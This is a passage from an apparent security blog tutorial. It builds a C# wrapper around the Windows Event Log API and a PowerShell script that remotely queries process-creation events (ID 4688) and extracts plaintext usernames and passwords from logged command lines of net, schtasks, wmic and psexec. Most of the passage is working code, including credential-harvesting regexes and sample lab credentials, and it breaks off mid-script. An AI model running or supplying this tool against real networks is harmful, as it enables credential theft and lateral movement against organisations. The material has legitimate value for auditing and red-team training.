0x1000,\n\tEvtQueryStrict = 0x2000\n}<\/code><\/pre>\n\n\n\n<p class=\"\">We continue that process for the remaining native APIs to get something like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">using System;\nusing System.Runtime.InteropServices;\n\nnamespace EventLog.Native {\n\tpublic enum EvtRenderFlags : int {\n\t\tEvtRenderEventValues = 0,\n\t\tEvtRenderEventXml = 1,\n\t\tEvtRenderBookmark = 2\n\t}\n\n\t[Flags]\n\tpublic enum EvtQueryFlags : int {\n\t\tEvtQueryChannelPath = 0x1,\n\t\tEvtQueryFilePath = 0x2,\n\t\tEvtQueryForwardDirection = 0x100,\n\t\tEvtQueryReverseDirection = 0x200,\n\t\tEvtQueryTolerateQueryErrors = 0x1000\n\t}\n\n\tpublic enum EvtLoginClass : int {\n\t\tEvtRpcLogin = 1\n\t}\n\n\tpublic enum EvtRpcLoginFlags {\n\t\tEvtRpcLoginAuthDefault = 0,\n\t\tEvtRpcLoginAuthNegotiate = 1,\n\t\tEvtRpcLoginAuthKerberos = 2,\n\t\tEvtRpcLoginAuthNTLM = 3\n\t}\n\n\t[StructLayout(LayoutKind.Sequential)]\n\tpublic struct EVT_RPC_LOGIN {\n\t\t[MarshalAs(UnmanagedType.LPWStr)] public string Server;\n\t\t[MarshalAs(UnmanagedType.LPWStr)] public string User;\n\t\t[MarshalAs(UnmanagedType.LPWStr)] public string Domain;\n\t\t[MarshalAs(UnmanagedType.LPWStr)] public string Password;\n\t\tpublic EvtRpcLoginFlags Flags;\n\t}\n\n\tpublic static class Wevtapi {\n\t\t[DllImport(\"wevtapi.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n\t\tpublic static extern IntPtr EvtOpenSession(EvtLoginClass loginClass, ref EVT_RPC_LOGIN login, int timeout, int flags);\n\n\t\t[DllImport(\"wevtapi.dll\", SetLastError = true)]\n\t\tpublic static extern IntPtr EvtQuery(IntPtr session, [MarshalAs(UnmanagedType.LPWStr)] string path, [MarshalAs(UnmanagedType.LPWStr)] string query, EvtQueryFlags flags);\n\n\t\t[DllImport(\"wevtapi.dll\", SetLastError = true)]\n\t\tpublic static extern bool EvtNext(IntPtr resultSet, int eventArraySize, [Out] IntPtr[] events, int timeout, int flags, ref int returned);\n\n\t\t[DllImport(\"wevtapi.dll\", SetLastError = true)]\n\t\tpublic static extern bool EvtRender(IntPtr context, IntPtr eventHandle, EvtRenderFlags flags, int buffSize, IntPtr buffer, ref int buffUsed, out int propCount);\n\n\t\t[DllImport(\"wevtapi.dll\", SetLastError = true)]\n\t\tpublic static extern void EvtClose(IntPtr handle);\n\t}\n}<\/code><\/pre>\n\n\n\n<p class=\"\">Now, we just need to logic to query and extract events to PSObjects. Let&#8217;s start with calling the native APIs to extract events. First, we&#8217;ll need to define a method to connect to remote hosts using the Remote Event Log RPC endpoint service. Here&#8217;s how we do that:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">private static IntPtr Connect(string system = null, string username = null, string password = null) {\n\tif (string.IsNullOrEmpty(system)\n\t\t|| system.Equals(\".\")\n\t\t|| system.Equals(\"localhost\", StringComparison.InvariantCultureIgnoreCase)\n\t\t|| system.Equals(\"127.0.0.1\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\treturn IntPtr.Zero;\n\t}\n\n\tstring domain = null;\n\tif (!string.IsNullOrEmpty(username)) {\n\t\tUsername pname = Username.Parse(username);\n\t\tdomain = pname.Domain;\n\t\tusername = pname.Name;\n\t}\n\n\tEVT_RPC_LOGIN login = new EVT_RPC_LOGIN {\n\t\tServer = system,\n\t\tUser = username,\n\t\tDomain = domain,\n\t\tPassword = password,\n\t\tFlags = EvtRpcLoginFlags.EvtRpcLoginAuthDefault\n\t};\n\n\tIntPtr sessionHandle = Wevtapi.EvtOpenSession(EvtLoginClass.EvtRpcLogin, ref login, 0, 0);\n\n\tif (sessionHandle == IntPtr.Zero) {\n\t\tthrow new Win32Exception(\"Failed to connect to the remote system.\");\n\t}\n\n\treturn sessionHandle;\n}<\/code><\/pre>\n\n\n\n<p class=\"\">Next, we&#8217;ll define a method to read the events. The Windows Event API returns objects that only have the metadata in them. We&#8217;ll need to &#8216;render&#8217; each one to an output format that is suitable for us. In this case, we will render the event to XML and then use the .NET 2.0 compatible XmlDocument class to parse the XML of the event and convert it to PSObjects that we can more easily manipulate in PowerShell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">public static List&lt;PSObject&gt; GetEvents(string logname, string query, string system = null, string username = null, string password = null, int timeout = Int32.MaxValue, int max = Int32.MaxValue) {\n\t\/\/Connect to remote if nexessary\n\tIntPtr session = EventLogReader.Connect(system, username, password);\n\n\t\/\/Open the event log\n\tIntPtr queryHandle = Wevtapi.EvtQuery(session, logname, query, EvtQueryFlags.EvtQueryForwardDirection);\n\tif (queryHandle == IntPtr.Zero) {\n\t\tthrow new Win32Exception(\"Failed to query the event log.\");\n\t}\n\n\ttry {\n\t\tIntPtr[] eventHandles = new IntPtr[50];\n\t\tint returned = 0;\n\t\tList&lt;PSObject&gt; events = new List&lt;PSObject&gt;();\n\n\t\twhile (Wevtapi.EvtNext(queryHandle, 1, eventHandles, timeout, 0, ref returned) &amp;&amp; events.Count &lt; max) {\n\t\t\tforeach (IntPtr eventHandle in eventHandles) {\n\t\t\t\t\/\/Render the event as XML\n\t\t\t\tint bufferUsed = 0;\n\t\t\t\tint propertyCount = 0;\n\n\t\t\t\t\/\/Call EvtRender with bufferSize = 0 to get the required buffer size\n\t\t\t\tWevtapi.EvtRender(IntPtr.Zero, eventHandle, EvtRenderFlags.EvtRenderEventXml, 0, IntPtr.Zero, ref bufferUsed, out propertyCount);\n\n\t\t\t\t\/\/Allocate a buffer to hold the rendered XML\n\t\t\t\tIntPtr buffer = Marshal.AllocHGlobal(bufferUsed);\n\n\t\t\t\ttry {\n\t\t\t\t\t\/\/Render the XML\n\t\t\t\t\tif (Wevtapi.EvtRender(IntPtr.Zero, eventHandle, EvtRenderFlags.EvtRenderEventXml, bufferUsed, buffer, ref bufferUsed, out propertyCount)) {\n\t\t\t\t\t\tstring xml = Marshal.PtrToStringAuto(buffer);\n\n\t\t\t\t\t\t\/\/Generate PSObject with the appropriate fields\n\t\t\t\t\t\tPSObject converted = EventLogReader.ConvertXmlToPSObject(xml);\n\t\t\t\t\t\tevents.Add(converted);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\/\/Ignore errors for now. We want this function to continue (i.e. be error resistent).\n\t\t\t\t\t}\n\t\t\t\t} finally {\n\t\t\t\t\tMarshal.FreeHGlobal(buffer);\n\t\t\t\t}\n\n\t\t\t\tWevtapi.EvtClose(eventHandle);\n\n\t\t\t\tif (events.Count &gt;= max) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn events;\n\t} finally {\n\t\tWevtapi.EvtClose(queryHandle);\n\t}\n}<\/code><\/pre>\n\n\n\n<p class=\"\">As you can see in the method above, we need to have someway of recursively iterating over the XML nodes in the XmlDocument to extract the relevant attributes and values to build a PSObject. We do this with the following, rather non-trivial code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">public static PSObject ConvertXmlToPSObject(string xml) {\n\tXmlDocument document = new XmlDocument();\n\tdocument.LoadXml(xml);\n\treturn (PSObject)EventLogReader.ConvertXmlToPSObject(document);\n}\n\npublic static PSObject ConvertXmlToPSObject(XmlDocument xml) {\n\treturn (PSObject)EventLogReader.ConvertHelper(xml.DocumentElement);\n}\n\nprivate static object ConvertHelper(XmlNode current) {\n\tList&lt;XmlNode&gt; children = EventLogReader.GetChildNodes(current);\n\tif (current.NodeType == XmlNodeType.Text) {\n\t\treturn current.Value;\n\t} else if (children.Count &gt; 0) {\n\t\tPSObject pso = new PSObject();\n\t\tforeach (XmlNode node in current.ChildNodes) {\n\t\t\tstring name = node.Name;\n\t\t\tif (node.Name.Equals(\"Data\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\t\t\tXmlNode attribute = node.Attributes.GetNamedItem(\"Name\");\n\t\t\t\tif (attribute != null) {\n\t\t\t\t\tname = attribute.Value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (node.NodeType == XmlNodeType.Text) {\n\t\t\t\treturn node.Value;\n\t\t\t} else {\n\t\t\t\tobject value = EventLogReader.ConvertHelper(node);\n\t\t\t\tpso.Properties.Add(new PSNoteProperty(name, value));\n\t\t\t}\n\t\t}\n\t\treturn pso;\n\t} else if (current.Attributes.Count &gt; 0) {\n\t\tif (current.Name.Equals(\"Data\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\t\treturn string.Empty;\n\t\t} else {\n\t\t\tPSObject pso = new PSObject();\n\t\t\tforeach (XmlAttribute attribute in current.Attributes) {\n\t\t\t\tpso.Properties.Add(new PSNoteProperty(attribute.Name, attribute.Value));\n\t\t\t}\n\t\t\treturn pso;\n\t\t}\n\t} else {\n\t\treturn new PSObject();\n\t}\n}\n\nprivate static List&lt;XmlNode&gt; GetChildNodes(XmlNode current) {\n\tList&lt;XmlNode&gt; nodes = new List&lt;XmlNode&gt;();\n\tif(current.ChildNodes != null) {\n\t\tforeach(XmlNode node in current.ChildNodes) {\n\t\t\tif(node.NodeType == XmlNodeType.Attribute) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tnodes.Add(node);\n\t\t}\n\t}\n\treturn nodes;\n}<\/code><\/pre>\n\n\n\n<p class=\"\">Let&#8217;s be honest, that code was pretty gross. Unfortunately, Windows Events are pretty gross, and since we have to physically interact with their internal formatting, we gotta get a little dirty.<\/p>\n\n\n\n<p class=\"\">Putting that all together, here is our full class for extracting event logs:<\/p>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary><\/summary>\n<p class=\"\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">using common.Classes;\nusing EventLog.Native;\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Management.Automation;\nusing System.Runtime.InteropServices;\nusing System.Xml;\n\nnamespace EventLog {\n\tpublic class EventLogReader {\n\t\tpublic static List&lt;PSObject&gt; GetEvents(string logname, string query, string system = null, string username = null, string password = null, int timeout = Int32.MaxValue, int max = Int32.MaxValue) {\n\t\t\t\/\/Connect to remote if nexessary\n\t\t\tIntPtr session = EventLogReader.Connect(system, username, password);\n\n\t\t\t\/\/Open the event log\n\t\t\tIntPtr queryHandle = Wevtapi.EvtQuery(session, logname, query, EvtQueryFlags.EvtQueryForwardDirection);\n\t\t\tif (queryHandle == IntPtr.Zero) {\n\t\t\t\tthrow new Win32Exception(\"Failed to query the event log.\");\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tIntPtr[] eventHandles = new IntPtr[50];\n\t\t\t\tint returned = 0;\n\t\t\t\tList&lt;PSObject&gt; events = new List&lt;PSObject&gt;();\n\n\t\t\t\twhile (Wevtapi.EvtNext(queryHandle, 1, eventHandles, timeout, 0, ref returned) &amp;&amp; events.Count &lt; max) {\n\t\t\t\t\tforeach (IntPtr eventHandle in eventHandles) {\n\t\t\t\t\t\t\/\/Render the event as XML\n\t\t\t\t\t\tint bufferUsed = 0;\n\t\t\t\t\t\tint propertyCount = 0;\n\n\t\t\t\t\t\t\/\/Call EvtRender with bufferSize = 0 to get the required buffer size\n\t\t\t\t\t\tWevtapi.EvtRender(IntPtr.Zero, eventHandle, EvtRenderFlags.EvtRenderEventXml, 0, IntPtr.Zero, ref bufferUsed, out propertyCount);\n\n\t\t\t\t\t\t\/\/Allocate a buffer to hold the rendered XML\n\t\t\t\t\t\tIntPtr buffer = Marshal.AllocHGlobal(bufferUsed);\n\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\/\/Render the XML\n\t\t\t\t\t\t\tif (Wevtapi.EvtRender(IntPtr.Zero, eventHandle, EvtRenderFlags.EvtRenderEventXml, bufferUsed, buffer, ref bufferUsed, out propertyCount)) {\n\t\t\t\t\t\t\t\tstring xml = Marshal.PtrToStringAuto(buffer);\n\n\t\t\t\t\t\t\t\t\/\/Generate PSObject with the appropriate fields\n\t\t\t\t\t\t\t\tPSObject converted = EventLogReader.ConvertXmlToPSObject(xml);\n\t\t\t\t\t\t\t\tevents.Add(converted);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\/\/Ignore errors for now. We want this function to continue (i.e. be error resistent).\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} finally {\n\t\t\t\t\t\t\tMarshal.FreeHGlobal(buffer);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tWevtapi.EvtClose(eventHandle);\n\n\t\t\t\t\t\tif (events.Count &gt;= max) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn events;\n\t\t\t} finally {\n\t\t\t\tWevtapi.EvtClose(queryHandle);\n\t\t\t}\n\t\t}\n\n\t\tprivate static IntPtr Connect(string system = null, string username = null, string password = null) {\n\t\t\tif (string.IsNullOrEmpty(system)\n\t\t\t\t|| system.Equals(\".\")\n\t\t\t\t|| system.Equals(\"localhost\", StringComparison.InvariantCultureIgnoreCase)\n\t\t\t\t|| system.Equals(\"127.0.0.1\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\t\t\treturn IntPtr.Zero;\n\t\t\t}\n\n\t\t\tstring domain = null;\n\t\t\tif (!string.IsNullOrEmpty(username)) {\n\t\t\t\tUsername pname = Username.Parse(username);\n\t\t\t\tdomain = pname.Domain;\n\t\t\t\tusername = pname.Name;\n\t\t\t}\n\n\t\t\tEVT_RPC_LOGIN login = new EVT_RPC_LOGIN {\n\t\t\t\tServer = system,\n\t\t\t\tUser = username,\n\t\t\t\tDomain = domain,\n\t\t\t\tPassword = password,\n\t\t\t\tFlags = EvtRpcLoginFlags.EvtRpcLoginAuthDefault\n\t\t\t};\n\n\t\t\tIntPtr sessionHandle = Wevtapi.EvtOpenSession(EvtLoginClass.EvtRpcLogin, ref login, 0, 0);\n\n\t\t\tif (sessionHandle == IntPtr.Zero) {\n\t\t\t\tthrow new Win32Exception(\"Failed to connect to the remote system.\");\n\t\t\t}\n\n\t\t\treturn sessionHandle;\n\t\t}\n\n\t\tpublic static PSObject ConvertXmlToPSObject(string xml) {\n\t\t\tXmlDocument document = new XmlDocument();\n\t\t\tdocument.LoadXml(xml);\n\t\t\treturn (PSObject)EventLogReader.ConvertXmlToPSObject(document);\n\t\t}\n\n\t\tpublic static PSObject ConvertXmlToPSObject(XmlDocument xml) {\n\t\t\treturn (PSObject)EventLogReader.ConvertHelper(xml.DocumentElement);\n\t\t}\n\n\t\tprivate static object ConvertHelper(XmlNode current) {\n\t\t\tList&lt;XmlNode&gt; children = EventLogReader.GetChildNodes(current);\n\t\t\tif (current.NodeType == XmlNodeType.Text) {\n\t\t\t\treturn current.Value;\n\t\t\t} else if (children.Count &gt; 0) {\n\t\t\t\tPSObject pso = new PSObject();\n\t\t\t\tforeach (XmlNode node in current.ChildNodes) {\n\t\t\t\t\tstring name = node.Name;\n\t\t\t\t\tif (node.Name.Equals(\"Data\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\t\t\t\t\tXmlNode attribute = node.Attributes.GetNamedItem(\"Name\");\n\t\t\t\t\t\tif (attribute != null) {\n\t\t\t\t\t\t\tname = attribute.Value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (node.NodeType == XmlNodeType.Text) {\n\t\t\t\t\t\treturn node.Value;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tobject value = EventLogReader.ConvertHelper(node);\n\t\t\t\t\t\tpso.Properties.Add(new PSNoteProperty(name, value));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn pso;\n\t\t\t} else if (current.Attributes.Count &gt; 0) {\n\t\t\t\tif (current.Name.Equals(\"Data\", StringComparison.InvariantCultureIgnoreCase)) {\n\t\t\t\t\treturn string.Empty;\n\t\t\t\t} else {\n\t\t\t\t\tPSObject pso = new PSObject();\n\t\t\t\t\tforeach (XmlAttribute attribute in current.Attributes) {\n\t\t\t\t\t\tpso.Properties.Add(new PSNoteProperty(attribute.Name, attribute.Value));\n\t\t\t\t\t}\n\t\t\t\t\treturn pso;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn new PSObject();\n\t\t\t}\n\t\t}\n\n\t\tprivate static List&lt;XmlNode&gt; GetChildNodes(XmlNode current) {\n\t\t\tList&lt;XmlNode&gt; nodes = new List&lt;XmlNode&gt;();\n\t\t\tif(current.ChildNodes != null) {\n\t\t\t\tforeach(XmlNode node in current.ChildNodes) {\n\t\t\t\t\tif(node.NodeType == XmlNodeType.Attribute) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tnodes.Add(node);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nodes;\n\t\t}\n\t}\n}<\/code><\/pre>\n<\/details>\n\n\n\n<p class=\"\">The last thing we need to do is build a cmdlet to make it easier to call this from PowerShell. We essentially have three different parameter sets: one for local and two for remote using either impersonation or explicit credentials.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">using System;\nusing System.Collections.Generic;\nusing System.Management.Automation;\n\nnamespace EventLog.Cmdlets {\n    [Cmdlet(VerbsCommon.Get, \"Events\")]\n    public class GetEvents : PSCmdlet {\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_LOCAL, Mandatory = true, Position = 0)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_IMPERSONATION, Mandatory = true, Position = 0)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = true, Position = 0)]\n        [ValidateNotNullOrEmpty]\n        public string Logname { get; set; }\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_LOCAL, Mandatory = false, Position = 1)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_IMPERSONATION, Mandatory = false, Position = 1)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = false, Position = 1)]\n        public string Query { get; set; } = \"*\";\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_LOCAL, Mandatory = false)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_IMPERSONATION, Mandatory = false)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = false)]\n        public int Timeout { get; set; } = Int32.MaxValue;\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_LOCAL, Mandatory = false)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_IMPERSONATION, Mandatory = false)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = false)]\n        public int Max { get; set; } = Int32.MaxValue;\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_IMPERSONATION, Mandatory = true)]\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = true)]\n        public string ComputerName { get; set; } = \"localhost\";\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = false)]\n        public string Username { get; set; }\n\n        [Parameter(ParameterSetName = GetEvents.PARAM_SET_REMOTE_EXPLICIT_CREDS, Mandatory = false)]\n        public string Password { get; set; }\n\n        protected override void BeginProcessing() {\n            base.BeginProcessing();\n\n            string query = this.GetQuery();\n\n            List&lt;PSObject&gt; events = EventLogReader.GetEvents(this.Logname, query,\n                this.ComputerName,\n                this.Username,\n                this.Password,\n                this.Timeout,\n                this.Max);\n            this.WriteObject(events, true);\n        }\n\n        private string GetQuery() {\n            if (string.IsNullOrEmpty(this.Query)) {\n                return \"*\";\n            }\n\n            return this.Query;\n        }\n\n        internal const string PARAM_SET_LOCAL = \"Localhost\";\n        internal const string PARAM_SET_REMOTE_IMPERSONATION = \"Impersonation\";\n        internal const string PARAM_SET_REMOTE_EXPLICIT_CREDS = \"Explicit Credentials\";\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"\">At long last, we can finally query the event log! The logs we&#8217;re looking for have an EventID of 4688 and are located in the &#8216;Security&#8217; event log. There is a parameter for the log name, but we have to manually craft the query. The query is in XPath 1.0 (light) format. We&#8217;re looking for all events where there is a sub-node called System with a Attribute called EventID that is equal to 4688 and where there is a sub-node called EventData where the value is not empty (this part eliminates about half of the logs on my machine). The resulting command looks like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">#Query the windows events\n$events = Get-Events -Logname 'Security' -Query '*[System[(EventID=4688)]]' -ComputerName $ComputerName -Username $Username -Password $Password;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Step_5_Parse_Events_for_Credentials\"><\/span>Step 5:  Parse Events for Credentials<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">Now that we have a set of events, we need to use our regular expressions we created above to check each event for exposed credentials. We&#8217;ll first need to loop over each event. For each event $event, we&#8217;ll start by ensuring that the password expression matches on the CommandLine field. If that doesn&#8217;t match, then we drop down to searching for commands with unnamed password arguments. Once we find a password like argument, we check for a username argument. Then we collect the TimeStamp of the field and generate an output with the extracted username and password. We include the full CommandLine for context as some of the passwords might not be exactly copy and paste since they may contain commandline escape characters.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">$command = $event.EventData.Commandline;\n\n#Skip if commandoine is null or empty\nif([string]::IsNullOrEmpty($command)) {\n\tcontinue;\n}\n\n#Skip if a password is not found\n$password_match = $regex_password.Match($command);\nif($password_match.Success -and $password_match.Groups['password'].Success) {\n\t#Skip if no username found\n\t$username_match = $regex_username.Match($command);\n\tif(!$username_match.Success -or !$username_match.Groups['username'].Success) {\n\t\tcontinue;\n\t}\n\n\t$date = [DateTime]::Parse($event.System.TimeCreated.SystemTime);\n\n\t#Generate output\n\t$result = New-Object psobject -Property @{\n\t\tComputer = $event.System.Computer;\n\t\tUsername = $username_match.Groups['username'].Value;\n\t\tPassword = $password_match.Groups['password'].Value;\n\t\tCommandline = $command;\n\t\tEventTimestamp = $date;\n\t}\n\n\t[void]$results.Add($result);\n\n\tcontinue;\n}<\/code><\/pre>\n\n\n\n<p class=\"\">At this point, we know there wasn&#8217;t a credential embedded in a named parameter, so let&#8217;s look at commands with unnamed password parameters. We have a set of these we need to run through, so we loop over each $expression and check if it matches. For these, each expression contains both a &#8216;username&#8217; and &#8216;password&#8217; named capture group that we can use to extract the credential information. We then build the output object in the same manner and format as before.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">foreach($expression in $expressions) {\n\t$match = $expression.Match($command);\n\tif($match.Success) {\n\t\t$date = [DateTime]::Parse($event.System.TimeCreated.SystemTime);\n\n\t\t#Generate output\n\t\t$result = New-Object psobject -Property @{\n\t\t\tComputer = $event.System.Computer;\n\t\t\tUsername = $match.Groups['username'].Value;\n\t\t\tPassword = $match.Groups['password'].Value;\n\t\t\tCommandline = $command;\n\t\t\tEventTimestamp = $date;\n\t\t}\n\n\t\t[void]$results.Add($result);\n\t}\n}<\/code><\/pre>\n\n\n\n<p class=\"\">Lastly, we output the results with the most important information up front and the longest fields (e.g. CommandLine) further to the right so that the output doesn&#8217;t get stomped by a long CommandLine field.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">$results | Select Username,Password,EventTimestamp,Computer,Commandline;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Full_Script\"><\/span>Full Script<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"\">Putting it all together, here is the full script:<\/p>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary><\/summary>\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">param (\n\t[Parameter(ParameterSetName = \"Impersonation\", Mandatory = $False, HelpMessage = \"System to search through logs.\")]\n\t[Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"System to search through logs.\")]\n\t[string]$ComputerName = \"localhost\",\n\n\t[Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"The username to authenticate with.\")]\n\t[string]$Username,\n\n\t[Parameter(ParameterSetName = \"Username and Password\", Mandatory = $True, HelpMessage = \"The password to authenticate with.\")]\n\t[string]$Password\n)\n\n#Load dependencies\nload EventLog;\n\n#Do some shenanigans to bxor the two options together in a way that is PowerShell 2.0 compliant\n$options = [System.Text.RegularExpressions.RegexOptions](([System.Int32][System.Text.RegularExpressions.RegexOptions]::Compiled) + ([System.Int32][System.Text.RegularExpressions.RegexOptions]::IgnoreCase));\n\n#Define a regular expression to parse the username\n$regex_username_str = '(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:\/u)|(?:\/USER)|(?:\/USERNAME))(?:\\s+|\\:)(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)))';\n$regex_username = New-Object System.Text.RegularExpressions.Regex($regex_username_str, $options);\n\n#Define a regular expression to parse the password\n$regex_password_str = '(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:\/P)|(?:\/PASSWD)|(?:\/PASSWORD))(?:\\s+|\\:)(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)))';\n$regex_password = New-Object System.Text.RegularExpressions.Regex($regex_password_str, $options);\n\n#Define command specific expressions\n$expressions = New-Object 'System.Collections.Generic.List[regex]';\n\n#\"C:\\Windows\\system32\\net.exe\" user Administrator 1qaz!QAZ \/domain \n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('net.+user\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#\"C:\\Windows\\system32\\net.exe\" use \\\\server\\share \/user:domain\\username password\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('net.+use\\s+(?&lt;share&gt;\\\\\\\\\\S+)\\s+\/USER:(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#schtasks.exe \/CREATE \/S 192.168.1.103 \/RU SYSTEM \/U administrator@lab.net \/P \"1qaz!QAZ\" \/SC ONCE \/ST 23:59 \/TN Test \/TR hostname \/F\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('schtasks.+\/U\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+\/P\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#wmic.exe \/node:192.168.1.2 \/user:administrator@lab.net \/password:1qaz!QAZ computersystem get\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('wmic.+\/user:\\s*(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+\/password:\\s*(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#psexec \\\\remote_computer -u administrator@lab.net -p 1qaz!QAZ hostname\n$expressions.Add((New-Object System.Text.RegularExpressions.Regex('psexec.+-u\\s+(?&lt;username&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+)).+-p\\s+(?&lt;password&gt;(?:\"((?:\\\\.|[^\"\\\\])*)\")|(?:[^\\s\"]+))', $options)));\n\n#Query the windows events\n$events = Get-Events -Logname 'Security' -Query \"*[System\/EventID=4688] and *[EventData\/Data[@Name='CommandLine']!='']\" -ComputerName $ComputerName -Username $Username -Password $Password;\n\n$results = New-Object System.Collections.ArrayList;\nforeach($event in $events) {\n\t$command = $event.EventData.Commandline;\n\n\t#Skip if commandoine is null or empty\n\tif([string]::IsNullOrEmpty($command)) {\n\t\tcontinue;\n\t}\n\n\t#Skip if a password is not found\n\t$password_match = $regex_password.Match($command);\n\tif($password_match.Success -and $password_match.Groups['password'].Success) {\n\t\t#Skip if no username found\n\t\t$username_match = $regex_username.Match($command);\n\t\tif(!$username_match.Success -or !$username_match.Groups['username'].Success) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t$date = [DateTime]::Parse($event.System.TimeCreated.SystemTime);\n\n\t\t#Generate output\n\t\t$result = New-Object psobject -Property @{\n\t\t\tComputer = $event.System.Computer;\n\t\t\tUsername = $username_match.Groups['username'].Value;\n\t\t\tPassword = $password_match.Groups['password'].Value;\n\t\t\tCommandline = $command;\n\t\t\tEventTimestamp = $date;\n\t\t}\n\n\t\t[void]$results.Add($result);\n\n\t\tcontinue;\n\t}\n\n\tforeach($expression in $expressions) {\n\t\t$match = $expression.Match($command);\n\t\tif($match.Success) {\n\t\t\t$date = [DateTime]::Parse($event.System.TimeCreated.SystemTime);\n\n\t\t\t#Generate 